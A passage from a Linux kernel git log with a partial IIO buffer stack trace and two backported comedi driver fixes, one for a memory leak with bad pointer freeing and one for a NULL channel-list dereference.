	[<c03175a4>] (__iio_update_buffers) from [<c03177f4>] (iio_buffer_store_enable+0x60/0x7c)
	[<c03177f4>] (iio_buffer_store_enable) from [<c01faf1c>] (dev_attr_store+0x18/0x24)
	[<c01faf1c>] (dev_attr_store) from [<c010694c>] (sysfs_kf_write+0x40/0x4c)
	[<c010694c>] (sysfs_kf_write) from [<c0105e08>] (kernfs_fop_write+0x110/0x154)
	[<c0105e08>] (kernfs_fop_write) from [<c00b76d4>] (vfs_write+0xbc/0x170)
	[<c00b76d4>] (vfs_write) from [<c00b7a44>] (SyS_write+0x40/0x78)
	[<c00b7a44>] (SyS_write) from [<c000dd00>] (ret_fast_syscall+0x0/0x30)

Fixes: 959d2952d1 ("staging:iio: make iio_sw_buffer_preenable much more general.")
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2014-11-14 15:19:59 +00:00
Ian Abbott
4526722665 staging: comedi: fix memory leak / bad pointer freeing for chanlist
commit 238b5ad855 upstream.

As a follow-up to commit 6cab7a37f5 ("staging: comedi: (regression)
channel list must be set for COMEDI_CMD ioctl"), Hartley Sweeten pointed
out another couple of bugs stemming from commit 6cab7a37f5 ("staging:
comedi: comedi_fops: introduce __comedi_get_user_chanlist()").

Firstly, `do_cmdtest_ioctl()` never frees the kernel copy of the user
chanlist allocated by `__comedi_get_user_chanlist()`, so that memory is
leaked.  Fix it by freeing the allocated kernel memory pointed to by
`cmd.chanlist` before that pointer is overwritten with its original
pointer to user memory before `cmd` is copied back to user-space.

Secondly, if `__comedi_get_user_chanlist()` returns an error,
`cmd->chanlist` is left unchanged and in fact will be a pointer to user
memory.  This causes `do_cmd_ioctl()` to `goto cleanup` and call
`do_become_nonbusy()` which would attempt to free the memory pointed to
by the user-space pointer.  Fix it by setting `cmd->chanlist` to NULL at
the start of `__comedi_get_user_chanlist()`.

Fixes: c6cd0eefb2 ("staging: comedi: comedi_fops: introduce __comedi_get_user_chanlist()")
Reported-by: H Hartley Sweeten <hsweeten@visionengravers.com>

Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2014-11-13 11:48:53 +00:00
Ian Abbott
364c5ea537 staging: comedi: (regression) channel list must be set for COMEDI_CMD ioctl
commit 6cab7a37f5 upstream.

`do_cmd_ioctl()`, the handler for the `COMEDI_CMD` ioctl can incorrectly
call the Comedi subdevice's `do_cmd()` handler with a NULL channel list
pointer.  This is a regression as the `do_cmd()` handler has never been
expected to deal with that, leading to a kernel OOPS when it tries to
dereference it.

A NULL channel list pointer is allowed for the `COMEDI_CMDTEST` ioctl,
handled by `do_cmdtest_ioctl()` and the subdevice's `do_cmdtest()`
handler, but not for the `COMEDI_CMD` ioctl and its handlers.

Both `do_cmd_ioctl()` and `do_cmdtest_ioctl()` call
`__comedi_get_user_chanlist()` to copy the channel list from user memory
into dynamically allocated kernel memory and check it for consistency.
That function currently returns 0 if the `user_chanlist` parameter
(pointing to the channel list in user memory) is NULL.  That's fine for
`do_cmdtest_ioctl()`, but `do_cmd_ioctl()` incorrectly assumes the
kernel copy of the channel list has been set-up correctly.

Fix it by not allowing the `user_chanlist` parameter to be NULL in
`__comedi_get_user_chanlist()`, and only calling it from
`do_cmdtest_ioctl()` if the parameter is non-NULL.

Thanks to Bernd Porr for reporting the bug via an initial patch sent
privately.

Fixes: c6cd0eefb2 ("staging: comedi: comedi_fops: introduce __comedi_get_user_chanlist()")
Reported-by: Bernd Porr <mail@berndporr.me.uk>
Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Reviewed-by: H Hartley Sweeten <hsweeten@visionengravers.com>
Cc: Bernd Porr <mail@berndporr.me.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2014-11-13 11:48:31 +00:00